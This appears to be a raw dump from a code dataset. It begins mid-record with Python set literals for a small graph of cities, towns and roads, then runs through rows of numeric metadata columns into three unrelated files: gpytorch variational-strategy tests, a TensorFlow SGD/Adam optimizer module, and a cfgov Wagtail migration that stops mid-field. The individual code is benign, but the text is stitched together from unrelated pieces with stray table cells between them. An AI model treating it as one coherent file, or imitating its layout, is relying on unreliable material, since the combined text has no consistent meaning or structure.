">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('9', '4'), ('1', '2'),
('1', '4'), ('10', '3'), ('4', '6'), ('6', '4'), ('3', '10'), ('10', '2'),
('2', '10'), ('7', '2'), ('5', '3'), ('2', '7'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('9', '4'), ('4', '8'),
('1', '2'), ('1', '4'), ('10', '3'), ('3', '10'), ('10', '2'), ('2', '10'),
('7', '2'), ('5', '3'), ('2', '7'), ('1', '3'), ('4', '9'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}}]
| 75.599695
| 91
| 0.176729
| 28,267
| 198,298
| 1.23975
| 0.001698
| 0.064376
| 0.033986
| 0.035042
| 0.994978
| 0.994864
| 0.994635
| 0.994493
| 0.993494
| 0.992952
| 0
| 0.189391
| 0.261152
| 198,298
| 2,622
| 92
| 75.628528
| 0.049798
| 0.001251
| 0
| 0.872651
| 0
| 0
| 0.177549
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
892ce8bb9e6fb8cd87f1493c3ff4b41cdf050c8a
| 7,445
|
py
|
Python
|
test/variational/test_batch_decoupled_variational_strategy.py
|
nzw0301/gpytorch
|
c5ebba78cb505c74fc596308d39b987d058f4603
|
[
"MIT"
] | null | null | null |
test/variational/test_batch_decoupled_variational_strategy.py
|
nzw0301/gpytorch
|
c5ebba78cb505c74fc596308d39b987d058f4603
|
[
"MIT"
] | null | null | null |
test/variational/test_batch_decoupled_variational_strategy.py
|
nzw0301/gpytorch
|
c5ebba78cb505c74fc596308d39b987d058f4603
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
import unittest
import torch
import gpytorch
from gpytorch.test.variational_test_case import VariationalTestCase
def likelihood_cls():
return gpytorch.likelihoods.GaussianLikelihood()
def strategy_cls(model, inducing_points, variational_distribution, learn_inducing_locations):
return gpytorch.variational.BatchDecoupledVariationalStrategy(
model, inducing_points, variational_distribution, learn_inducing_locations
)
def batch_dim_strategy_cls(model, inducing_points, variational_distribution, learn_inducing_locations):
return gpytorch.variational.BatchDecoupledVariationalStrategy(
model, inducing_points, variational_distribution, learn_inducing_locations, mean_var_batch_dim=-1
)
class TestBatchDecoupledVariationalGP(VariationalTestCase, unittest.TestCase):
@property
def batch_shape(self):
return torch.Size([])
@property
def distribution_cls(self):
return gpytorch.variational.CholeskyVariationalDistribution
@property
def likelihood_cls(self):
return likelihood_cls
@property
def mll_cls(self):
return gpytorch.mlls.VariationalELBO
@property
def strategy_cls(self):
return strategy_cls
def test_training_iteration(self, *args, **kwargs):
cg_mock, cholesky_mock = super().test_training_iteration(*args, **kwargs)
self.assertFalse(cg_mock.called)
self.assertEqual(cholesky_mock.call_count, 2) # One for each forward pass, and for computing prior dist
def test_eval_iteration(self, *args, **kwargs):
cg_mock, cholesky_mock = super().test_eval_iteration(*args, **kwargs)
self.assertFalse(cg_mock.called)
self.assertEqual(cholesky_mock.call_count, 1) # One to compute cache, that's it!
class TestBatchDecoupledPredictiveGP(TestBatchDecoupledVariationalGP):
@property
def mll_cls(self):
return gpytorch.mlls.PredictiveLogLikelihood
class TestBatchDecoupledRobustVGP(TestBatchDecoupledVariationalGP):
@property
def mll_cls(self):
return gpytorch.mlls.GammaRobustVariationalELBO
class TestMeanFieldBatchDecoupledVariationalGP(TestBatchDecoupledVariationalGP):
@property
def distribution_cls(self):
return gpytorch.variational.MeanFieldVariationalDistribution
class TestMeanFieldBatchDecoupledPredictiveGP(TestBatchDecoupledPredictiveGP):
@property
def distribution_cls(self):
return gpytorch.variational.MeanFieldVariationalDistribution
class TestMeanFieldBatchDecoupledRobustVGP(TestBatchDecoupledRobustVGP):
@property
def distribution_cls(self):
return gpytorch.variational.MeanFieldVariationalDistribution
class TestBatchDecoupledVariationalGPBatchDim(TestBatchDecoupledVariationalGP, unittest.TestCase):
def _make_model_and_likelihood(
self,
num_inducing=16,
batch_shape=torch.Size([]),
inducing_batch_shape=torch.Size([]),
strategy_cls=gpytorch.variational.VariationalStrategy,
distribution_cls=gpytorch.variational.CholeskyVariationalDistribution,
constant_mean=True,
):
class _SVGPRegressionModel(gpytorch.models.ApproximateGP):
def __init__(self, inducing_points):
variational_distribution = distribution_cls(num_inducing, batch_shape=batch_shape)
variational_strategy = strategy_cls(
self, inducing_points, variational_distribution, learn_inducing_locations=True
)
super().__init__(variational_strategy)
if constant_mean:
self.mean_module = gpytorch.means.ConstantMean(batch_shape=batch_shape + torch.Size([2]))
self.mean_module.initialize(constant=1.0)
else:
self.mean_module = gpytorch.means.ZeroMean()
self.covar_module = gpytorch.kernels.ScaleKernel(
gpytorch.kernels.RBFKernel(batch_shape=batch_shape + torch.Size([2])),
batch_shape=batch_shape + torch.Size([2]),
)
def forward(self, x):
mean_x = self.mean_module(x)
covar_x = self.covar_module(x)
latent_pred = gpytorch.distributions.MultivariateNormal(mean_x, covar_x)
return latent_pred
inducing_points = torch.randn(num_inducing, 2).repeat(*inducing_batch_shape, 1, 1)
return _SVGPRegressionModel(inducing_points), self.likelihood_cls()
@property
def distribution_cls(self):
return gpytorch.variational.CholeskyVariationalDistribution
@property
def mll_cls(self):
return gpytorch.mlls.PredictiveLogLikelihood
class TestMeanFieldBatchDecoupledVariationalGPBatchDim(TestBatchDecoupledVariationalGPBatchDim, unittest.TestCase):
@property
def distribution_cls(self):
return gpytorch.variational.MeanFieldVariationalDistribution
class TestBatchDecoupledVariationalGPOtherBatchDim(TestBatchDecoupledVariationalGP, unittest.TestCase):
def _make_model_and_likelihood(
self,
num_inducing=16,
batch_shape=torch.Size([]),
inducing_batch_shape=torch.Size([]),
strategy_cls=gpytorch.variational.VariationalStrategy,
distribution_cls=gpytorch.variational.CholeskyVariationalDistribution,
constant_mean=True,
):
class _SVGPRegressionModel(gpytorch.models.ApproximateGP):
def __init__(self, inducing_points):
variational_distribution = distribution_cls(num_inducing, batch_shape=batch_shape)
variational_strategy = strategy_cls(
self, inducing_points, variational_distribution, learn_inducing_locations=True
)
super().__init__(variational_strategy)
if constant_mean:
self.mean_module = gpytorch.means.ConstantMean(
batch_shape=batch_shape[:-1] + torch.Size([2]) + batch_shape[-1:]
)
self.mean_module.initialize(constant=1.0)
else:
self.mean_module = gpytorch.means.ZeroMean()
self.covar_module = gpytorch.kernels.ScaleKernel(
gpytorch.kernels.RBFKernel(batch_shape=batch_shape[:-1] + torch.Size([2]) + batch_shape[-1:]),
batch_shape=batch_shape[:-1] + torch.Size([2]) + batch_shape[-1:],
)
def forward(self, x):
mean_x = self.mean_module(x)
covar_x = self.covar_module(x)
latent_pred = gpytorch.distributions.MultivariateNormal(mean_x, covar_x)
return latent_pred
inducing_points = torch.randn(num_inducing, 2).repeat(*inducing_batch_shape, 1, 1)
return _SVGPRegressionModel(inducing_points), self.likelihood_cls()
@property
def strategy_cls(self):
def _batch_dim_strategy_cls(model, inducing_points, variational_distribution, learn_inducing_locations):
return gpytorch.variational.BatchDecoupledVariationalStrategy(
model, inducing_points, variational_distribution, learn_inducing_locations, mean_var_batch_dim=-2
)
return _batch_dim_strategy_cls
@property
def batch_shape(self):
return torch.Size([3])
if __name__ == "__main__":
unittest.main()
| 38.376289
| 115
| 0.698455
| 706
| 7,445
| 7.069405
| 0.164306
| 0.054097
| 0.031256
| 0.074133
| 0.808255
| 0.80004
| 0.80004
| 0.790022
| 0.766179
| 0.745943
| 0
| 0.005547
| 0.225118
| 7,445
| 193
| 116
| 38.57513
| 0.859594
| 0.014775
| 0
| 0.648649
| 0
| 0
| 0.001091
| 0
| 0
| 0
| 0
| 0
| 0.027027
| 1
| 0.182432
| false
| 0
| 0.027027
| 0.121622
| 0.439189
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 7
|
8944587ae6ba1c21ea7a4d92e4aa0c399f1bdb77
| 3,188
|
py
|
Python
|
deeplearning/layers/optimizers.py
|
cbschaff/nlimb
|
f0564b00bab1b3367aaa88163e49bebc88f349bb
|
[
"MIT"
] | 12
|
2018-10-26T19:33:05.000Z
|
2022-01-17T11:47:59.000Z
|
deeplearning/layers/optimizers.py
|
cbschaff/nlimb
|
f0564b00bab1b3367aaa88163e49bebc88f349bb
|
[
"MIT"
] | 9
|
2020-01-28T22:30:55.000Z
|
2022-03-11T23:32:04.000Z
|
deeplearning/layers/optimizers.py
|
cbschaff/nlimb
|
f0564b00bab1b3367aaa88163e49bebc88f349bb
|
[
"MIT"
] | 3
|
2019-07-09T14:56:01.000Z
|
2019-11-18T06:58:41.000Z
|
"""
Defining standard tensorflow optimizers as modules.
"""
import tensorflow as tf
from deeplearning import module
from deeplearning import tf_util as U
class SGD(module.Optimizer):
ninputs = 1
def __init__(self, name, loss, lr=1e-4, momentum=0.0, clip_norm=None):
super().__init__(name, loss)
self.lr = lr
self.momentum = momentum
self.clip_norm = clip_norm
def _build(self, loss):
# ops for updating the learning rate
self._lr = tf.Variable(self.lr, name='lr', trainable=False)
self._lr_placeholder = tf.placeholder(tf.float32, shape=(), name='lr_ph')
self._update_lr = self._lr.assign(self._lr_placeholder)
params = self.trainable_variables()
self._flatgrad = U.flatgrad(loss, params, self.clip_norm)
grads = tf.gradients(loss, params)
if self.clip_norm is not None:
grads, grad_norm = tf.clip_by_global_norm(grads, self.clip_norm)
opt = tf.train.MomentumOptimizer(self.lr, momentum=self.momentum)
return grads, opt.apply_gradients(list(zip(grads, params)))
def _add_run_args(self, outs, feed_dict, **flags):
super()._add_run_args(outs, feed_dict, **flags)
if 'flatgrad' in flags and flags['flatgrad']:
outs['flatgrad'] = self._flatgrad
def update_lr(self, new_lr):
self.lr = new_lr
sess = tf.get_default_session()
sess.run(self._update_lr, feed_dict={self._lr_placeholder:self.lr})
# convenience method
def flatgrad(self, inputs, state=[]):
return self.run(inputs, state, out=False, state_out=False, flatgrad=True)['flatgrad']
class Adam(module.Optimizer):
ninputs = 1
def __init__(self, name, loss, lr=1e-4, beta1=0.9, beta2=0.999, clip_norm=None):
super().__init__(name, loss)
self.lr = lr
self.beta1 = beta1
self.beta2 = beta2
self.clip_norm = clip_norm
def _build(self, loss):
# ops for updating the learning rate
self._lr = tf.Variable(self.lr, name='lr', trainable=False)
self._lr_placeholder = tf.placeholder(tf.float32, shape=(), name='lr_ph')
self._update_lr = self._lr.assign(self._lr_placeholder)
params = self.trainable_variables()
self._flatgrad = U.flatgrad(loss, params, self.clip_norm)
grads = tf.gradients(loss, params)
if self.clip_norm is not None:
grads, grad_norm = tf.clip_by_global_norm(grads, self.clip_norm)
opt = tf.train.AdamOptimizer(self.lr, beta1=self.beta1, beta2=self.beta2)
return grads, opt.apply_gradients(list(zip(grads, params)))
def _add_run_args(self, outs, feed_dict, **flags):
super()._add_run_args(outs, feed_dict, **flags)
if 'flatgrad' in flags and flags['flatgrad']:
outs['flatgrad'] = self._flatgrad
def update_lr(self, new_lr):
self.lr = new_lr
sess = tf.get_default_session()
sess.run(self._update_lr, feed_dict={self._lr_placeholder:self.lr})
# convenience method
def flatgrad(self, inputs, state=[]):
return self.run(inputs, state, out=False, state_out=False, flatgrad=True)['flatgrad']
| 38.878049
| 93
| 0.656838
| 440
| 3,188
| 4.525
| 0.209091
| 0.060271
| 0.048217
| 0.034154
| 0.850829
| 0.850829
| 0.850829
| 0.850829
| 0.850829
| 0.850829
| 0
| 0.011286
| 0.221769
| 3,188
| 81
| 94
| 39.358025
| 0.791213
| 0.050188
| 0
| 0.8
| 0
| 0
| 0.025854
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.05
| 0.033333
| 0.35
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
894f5d29dbffa0e5cf4f85c3b14bbebd9fd9c5d4
| 23,551
|
py
|
Python
|
cfgov/v1/migrations/0225_enforcement_status_filter.py
|
flacoman91/consumerfinance.gov
|
64e3d68d1c023ae944baf66a99e54236e5976097
|
[
"CC0-1.0"
] | 37
|
2020-08-18T19:52:39.000Z
|
2022-03-23T08:08:41.000Z
|
cfgov/v1/migrations/0225_enforcement_status_filter.py
|
flacoman91/consumerfinance.gov
|
64e3d68d1c023ae944baf66a99e54236e5976097
|
[
"CC0-1.0"
] | 338
|
2020-08-14T20:46:36.000Z
|
2022-03-31T20:49:32.000Z
|
cfgov/v1/migrations/0225_enforcement_status_filter.py
|
raft-tech/cfgov-refresh
|
7c63c31fd6bb95ed4f7d368f1e1252175f0c71ca
|
[
"CC0-1.0"
] | 14
|
2020-10-21T15:27:03.000Z
|
2022-03-17T03:16:36.000Z
|
# Generated by Django 2.2.13 on 2020-07-13 16:55
from django.db import migrations, models
import v1.atomic_elements.organisms
import v1.blocks
import v1.util.ref
import wagtail.core.blocks
import wagtail.core.fields
import wagtail.images.blocks
class Migration(migrations.Migration):
dependencies = [
('v1', '0224_design_system_links'),
]
operations = [
migrations.AlterField(
model_name='browsefilterablepage',
name='content',
field=wagtail.core.fields.StreamField([('full_width_text', wagtail.core.blocks.StreamBlock([('content', wagtail.core.blocks.RichTextBlock(icon='edit')), ('content_with_anchor', wagtail.core.blocks.StructBlock([('content_block', wagtail.core.blocks.RichTextBlock()), ('anchor_link', wagtail.core.blocks.StructBlock([('link_id', wagtail.core.blocks.CharBlock(help_text='\n ID will be auto-generated on save.\n However, you may enter some human-friendly text that\n will be incorporated to make it easier to read.\n ', label='ID for this content block', required=False))]))])), ('heading', wagtail.core.blocks.StructBlock([('text', v1.blocks.HeadingTextBlock(required=False)), ('level', wagtail.core.blocks.ChoiceBlock(choices=[('h2', 'H2'), ('h3', 'H3'), ('h4', 'H4')])), ('icon', v1.blocks.HeadingIconBlock(help_text='Input the name of an icon to appear to the left of the heading. E.g., approved, help-round, etc. <a href="https://cfpb.github.io/design-system/foundation/iconography">See full list of icons</a>', required=False))], required=False)), ('image', wagtail.core.blocks.StructBlock([('image', wagtail.core.blocks.StructBlock([('upload', wagtail.images.blocks.ImageChooserBlock(required=False)), ('alt', wagtail.core.blocks.CharBlock(help_text="If the image is decorative (i.e., if a screenreader wouldn't have anything useful to say about it), leave the Alt field blank.", required=False))])), ('image_width', wagtail.core.blocks.ChoiceBlock(choices=[('full', 'full'), (470, '470px'), (270, '270px'), (170, '170px')])), ('image_position', wagtail.core.blocks.ChoiceBlock(choices=[('right', 'right'), ('left', 'left')], help_text='Does not apply if the image is full-width')), ('text', wagtail.core.blocks.RichTextBlock(label='Caption', required=False)), ('is_bottom_rule', wagtail.core.blocks.BooleanBlock(default=True, help_text='Check to add a horizontal rule line to bottom of inset.', label='Has bottom rule line', required=False))])), ('table_block', v1.atomic_elements.organisms.AtomicTableBlock(table_options={'renderer': 'html'})), ('quote', wagtail.core.blocks.StructBlock([('body', wagtail.core.blocks.TextBlock()), ('citation', wagtail.core.blocks.TextBlock(required=False)), ('is_large', wagtail.core.blocks.BooleanBlock(required=False))])), ('cta', wagtail.core.blocks.StructBlock([('slug_text', wagtail.core.blocks.CharBlock(required=False)), ('paragraph_text', wagtail.core.blocks.RichTextBlock(required=False)), ('button', wagtail.core.blocks.StructBlock([('text', wagtail.core.blocks.CharBlock(required=False)), ('url', wagtail.core.blocks.CharBlock(default='/', required=False)), ('size', wagtail.core.blocks.ChoiceBlock(choices=[('regular', 'Regular'), ('large', 'Large Primary')]))]))])), ('related_links', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(required=False)), ('paragraph', wagtail.core.blocks.RichTextBlock(required=False)), ('links', wagtail.core.blocks.ListBlock(wagtail.core.blocks.StructBlock([('text', wagtail.core.blocks.CharBlock(required=False)), ('url', wagtail.core.blocks.CharBlock(default='/', required=False))])))])), ('reusable_text', v1.blocks.ReusableTextChooserBlock('v1.ReusableText')), ('email_signup', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(default='Stay informed', required=False)), ('default_heading', wagtail.core.blocks.BooleanBlock(default=True, help_text='If selected, heading will be styled as an H5 with green top rule. Deselect to style header as H3.', label='Default heading style', required=False)), ('text', wagtail.core.blocks.CharBlock(help_text='Write a sentence or two about what kinds of emails the user is signing up for, how frequently they will be sent, etc.', required=False)), ('gd_code', wagtail.core.blocks.CharBlock(help_text='Code for the topic (i.e., mailing list) you want people who submit this form to subscribe to. Format: USCFPB_###', label='GovDelivery code', required=False)), ('disclaimer_page', wagtail.core.blocks.PageChooserBlock(help_text='Choose the page that the "See Privacy Act statement" link should go to. If in doubt, use "Generic Email Sign-Up Privacy Act Statement".', label='Privacy Act statement', required=False))])), ('well', wagtail.core.blocks.StructBlock([('content', wagtail.core.blocks.RichTextBlock(label='Well', required=False))])), ('well_with_ask_search', wagtail.core.blocks.StructBlock([('content', wagtail.core.blocks.RichTextBlock(label='Well', required=False)), ('ask_search', wagtail.core.blocks.StructBlock([('show_label', wagtail.core.blocks.BooleanBlock(default=True, help_text='Whether to show form label.', required=False)), ('placeholder', wagtail.core.blocks.TextBlock(help_text='Text to show for the input placeholder text.', required=False))]))]))])), ('filter_controls', wagtail.core.blocks.StructBlock([('label', wagtail.core.blocks.CharBlock(required=False)), ('is_bordered', wagtail.core.blocks.BooleanBlock(required=False)), ('is_midtone', wagtail.core.blocks.BooleanBlock(required=False)), ('is_expanded', wagtail.core.blocks.BooleanBlock(required=False)), ('title', wagtail.core.blocks.BooleanBlock(default=True, label='Filter Title', required=False)), ('no_posts_message', wagtail.core.blocks.CharBlock(help_text='Message for the <a href="https://cfpb.github.io/design-system/components/notifications#default-base-notification">notification</a> that will be displayed instead of filter controls if there are no posts to filter.', required=False)), ('no_posts_explanation', wagtail.core.blocks.CharBlock(help_text='Additional explanation for the notification that will be displayed if there are no posts to filter.', required=False)), ('post_date_description', wagtail.core.blocks.CharBlock(help_text='Strongly encouraged to help users understand the action that the date of the post is linked to, i.e. published, issued, released.', label='Date stamp descriptor', required=False)), ('categories', wagtail.core.blocks.StructBlock([('filter_category', wagtail.core.blocks.BooleanBlock(default=True, required=False)), ('show_preview_categories', wagtail.core.blocks.BooleanBlock(default=True, required=False)), ('page_type', wagtail.core.blocks.ChoiceBlock(choices=v1.util.ref.filterable_list_page_types, required=False))])), ('topic_filtering', wagtail.core.blocks.ChoiceBlock(choices=[('no_filter', "Don't filter topics"), ('sort_alphabetically', 'Filter topics, sort topic list alphabetically'), ('sort_by_frequency', 'Filter topics, sort topic list by number of results')], help_text='Whether to include a dropdown in the filter controls for "Topics"')), ('statuses', wagtail.core.blocks.BooleanBlock(default=False, label='Filter Enforcement Statuses', required=False)), ('authors', wagtail.core.blocks.BooleanBlock(default=True, label='Filter Authors', required=False)), ('date_range', wagtail.core.blocks.BooleanBlock(default=True, label='Filter Date Range', required=False)), ('output_5050', wagtail.core.blocks.BooleanBlock(default=False, label='Render preview items as 50-50s', required=False)), ('link_image_and_heading', wagtail.core.blocks.BooleanBlock(default=False, help_text='Add links to post preview images and headings in filterable list results', required=False))])), ('feedback', wagtail.core.blocks.StructBlock([('was_it_helpful_text', wagtail.core.blocks.CharBlock(default='Was this page helpful to you?', help_text='Use this field only for feedback forms that use "Was this helpful?" radio buttons.', required=False)), ('intro_text', wagtail.core.blocks.CharBlock(help_text='Optional feedback intro', required=False)), ('question_text', wagtail.core.blocks.CharBlock(help_text='Optional expansion on intro', required=False)), ('radio_intro', wagtail.core.blocks.CharBlock(help_text='Leave blank unless you are building a feedback form with extra radio-button prompts, as in /owning-a-home/help-us-improve/.', required=False)), ('radio_text', wagtail.core.blocks.CharBlock(default='This information helps us understand your question better.', required=False)), ('radio_question_1', wagtail.core.blocks.CharBlock(default='How soon do you expect to buy a home?', required=False)), ('radio_question_2', wagtail.core.blocks.CharBlock(default='Do you currently own a home?', required=False)), ('button_text', wagtail.core.blocks.CharBlock(default='Submit')), ('contact_advisory', wagtail.core.blocks.RichTextBlock(help_text='Use only for feedback forms that ask for a contact email', required=False))]))]),
),
migrations.AlterField(
model_name='cfgovpagecategory',
name='name',
field=models.CharField(choices=[('Administrative adjudication docket', (('administrative-adjudication', 'Administrative adjudication'), ('stipulation-and-constent-order', 'Stipulation and consent order'))), ('Amicus Brief', (('us-supreme-court', 'U.S. Supreme Court'), ('fed-circuit-court', 'Federal Circuit Court'), ('fed-district-court', 'Federal District Court'), ('state-court', 'State Court'))), ('Blog', (('at-the-cfpb', 'At the CFPB'), ('directors-notebook', "Director's notebook"), ('policy_compliance', 'Policy and compliance'), ('data-research-reports', 'Data, research, and reports'), ('info-for-consumers', 'Info for consumers'))), ('Consumer Reporting Companies', (('nationwide', 'Nationwide'), ('employment-screening', 'Employment screening'), ('tenant-screening', 'Tenant screening'), ('check-bank-screening', 'Check and bank screening'), ('personal-property-insurance', 'Personal property insurance'), ('medical', 'Medical'), ('low-income-and-subprime', 'Low-income and subprime'), ('supplementary-reports', 'Supplementary reports'), ('utilities', 'Utilities'), ('retail', 'Retail'), ('gaming', 'Gaming'))), ('Enforcement Action', (('administrative-proceeding', 'Administrative Proceeding'), ('civil-action', 'Civil Action'))), ('Final rule', (('interim-final-rule', 'Interim final rule'), ('final-rule', 'Final rule'))), ('FOIA Frequently Requested Record', (('report', 'Report'), ('log', 'Log'), ('record', 'Record'))), ('Implementation Resource', (('compliance-aid', 'Compliance aid'), ('official-guidance', 'Official guidance'))), ('Newsroom', (('op-ed', 'Op-ed'), ('press-release', 'Press release'), ('speech', 'Speech'), ('testimony', 'Testimony'))), ('Notice and Opportunity for Comment', (('notice-proposed-rule', 'Advance notice of proposed rulemaking'), ('proposed-rule', 'Proposed rule'), ('interim-final-rule-2', 'Interim final rule'), ('request-comment-info', 'Request for comment or information'), ('proposed-policy', 'Proposed policy'), ('intent-preempt-determ', 'Intent to make preemption determination'), ('info-collect-activity', 'Information collection activities'), ('notice-privacy-act', 'Notice related to Privacy Act'))), ('Research Report', (('consumer-complaint', 'Consumer complaint'), ('super-highlight', 'Supervisory Highlights'), ('data-point', 'Data point'), ('industry-markets', 'Industry and markets'), ('consumer-edu-empower', 'Consumer education and empowerment'), ('to-congress', 'To Congress'))), ('Rule Under Development', (('notice-proposed-rule-2', 'Advance notice of proposed rulemaking'), ('proposed-rule-2', 'Proposed rule'))), ('Story', (('auto-loans', 'Auto loans'), ('bank-accts-services', 'Bank accounts and services'), ('credit-cards', 'Credit cards'), ('credit-reports-scores', 'Credit reports and scores'), ('debt-collection', 'Debt collection'), ('money-transfers', 'Money transfers'), ('mortgages', 'Mortgages'), ('payday-loans', 'Payday loans'), ('prepaid-cards', 'Prepaid cards'), ('student-loans', 'Student loans')))], max_length=255),
),
migrations.AlterField(
model_name='enforcementactionstatus',
name='status',
field=models.CharField(choices=[('expired-terminated-dismissed', 'Expired/Terminated/Dismissed'), ('pending-litigation', 'Pending Litigation'), ('post-order-post-judgment', 'Post Order/Post Judgment')], max_length=50),
),
migrations.AlterField(
model_name='sublandingfilterablepage',
name='content',
field=wagtail.core.fields.StreamField([('text_introduction', wagtail.core.blocks.StructBlock([('eyebrow', wagtail.core.blocks.CharBlock(help_text='Optional: Adds an H5 eyebrow above H1 heading text. Only use in conjunction with heading.', label='Pre-heading', required=False)), ('heading', wagtail.core.blocks.CharBlock(required=False)), ('intro', wagtail.core.blocks.RichTextBlock(required=False)), ('body', wagtail.core.blocks.RichTextBlock(required=False)), ('links', wagtail.core.blocks.ListBlock(wagtail.core.blocks.StructBlock([('text', wagtail.core.blocks.CharBlock(required=False)), ('url', wagtail.core.blocks.CharBlock(default='/', required=False))]), required=False)), ('has_rule', wagtail.core.blocks.BooleanBlock(help_text='Check this to add a horizontal rule line to bottom of text introduction.', label='Has bottom rule', required=False))])), ('full_width_text', wagtail.core.blocks.StreamBlock([('content', wagtail.core.blocks.RichTextBlock(icon='edit')), ('content_with_anchor', wagtail.core.blocks.StructBlock([('content_block', wagtail.core.blocks.RichTextBlock()), ('anchor_link', wagtail.core.blocks.StructBlock([('link_id', wagtail.core.blocks.CharBlock(help_text='\n ID will be auto-generated on save.\n However, you may enter some human-friendly text that\n will be incorporated to make it easier to read.\n ', label='ID for this content block', required=False))]))])), ('heading', wagtail.core.blocks.StructBlock([('text', v1.blocks.HeadingTextBlock(required=False)), ('level', wagtail.core.blocks.ChoiceBlock(choices=[('h2', 'H2'), ('h3', 'H3'), ('h4', 'H4')])), ('icon', v1.blocks.HeadingIconBlock(help_text='Input the name of an icon to appear to the left of the heading. E.g., approved, help-round, etc. <a href="https://cfpb.github.io/design-system/foundation/iconography">See full list of icons</a>', required=False))], required=False)), ('image', wagtail.core.blocks.StructBlock([('image', wagtail.core.blocks.StructBlock([('upload', wagtail.images.blocks.ImageChooserBlock(required=False)), ('alt', wagtail.core.blocks.CharBlock(help_text="If the image is decorative (i.e., if a screenreader wouldn't have anything useful to say about it), leave the Alt field blank.", required=False))])), ('image_width', wagtail.core.blocks.ChoiceBlock(choices=[('full', 'full'), (470, '470px'), (270, '270px'), (170, '170px')])), ('image_position', wagtail.core.blocks.ChoiceBlock(choices=[('right', 'right'), ('left', 'left')], help_text='Does not apply if the image is full-width')), ('text', wagtail.core.blocks.RichTextBlock(label='Caption', required=False)), ('is_bottom_rule', wagtail.core.blocks.BooleanBlock(default=True, help_text='Check to add a horizontal rule line to bottom of inset.', label='Has bottom rule line', required=False))])), ('table_block', v1.atomic_elements.organisms.AtomicTableBlock(table_options={'renderer': 'html'})), ('quote', wagtail.core.blocks.StructBlock([('body', wagtail.core.blocks.TextBlock()), ('citation', wagtail.core.blocks.TextBlock(required=False)), ('is_large', wagtail.core.blocks.BooleanBlock(required=False))])), ('cta', wagtail.core.blocks.StructBlock([('slug_text', wagtail.core.blocks.CharBlock(required=False)), ('paragraph_text', wagtail.core.blocks.RichTextBlock(required=False)), ('button', wagtail.core.blocks.StructBlock([('text', wagtail.core.blocks.CharBlock(required=False)), ('url', wagtail.core.blocks.CharBlock(default='/', required=False)), ('size', wagtail.core.blocks.ChoiceBlock(choices=[('regular', 'Regular'), ('large', 'Large Primary')]))]))])), ('related_links', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(required=False)), ('paragraph', wagtail.core.blocks.RichTextBlock(required=False)), ('links', wagtail.core.blocks.ListBlock(wagtail.core.blocks.StructBlock([('text', wagtail.core.blocks.CharBlock(required=False)), ('url', wagtail.core.blocks.CharBlock(default='/', required=False))])))])), ('reusable_text', v1.blocks.ReusableTextChooserBlock('v1.ReusableText')), ('email_signup', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(default='Stay informed', required=False)), ('default_heading', wagtail.core.blocks.BooleanBlock(default=True, help_text='If selected, heading will be styled as an H5 with green top rule. Deselect to style header as H3.', label='Default heading style', required=False)), ('text', wagtail.core.blocks.CharBlock(help_text='Write a sentence or two about what kinds of emails the user is signing up for, how frequently they will be sent, etc.', required=False)), ('gd_code', wagtail.core.blocks.CharBlock(help_text='Code for the topic (i.e., mailing list) you want people who submit this form to subscribe to. Format: USCFPB_###', label='GovDelivery code', required=False)), ('disclaimer_page', wagtail.core.blocks.PageChooserBlock(help_text='Choose the page that the "See Privacy Act statement" link should go to. If in doubt, use "Generic Email Sign-Up Privacy Act Statement".', label='Privacy Act statement', required=False))])), ('well', 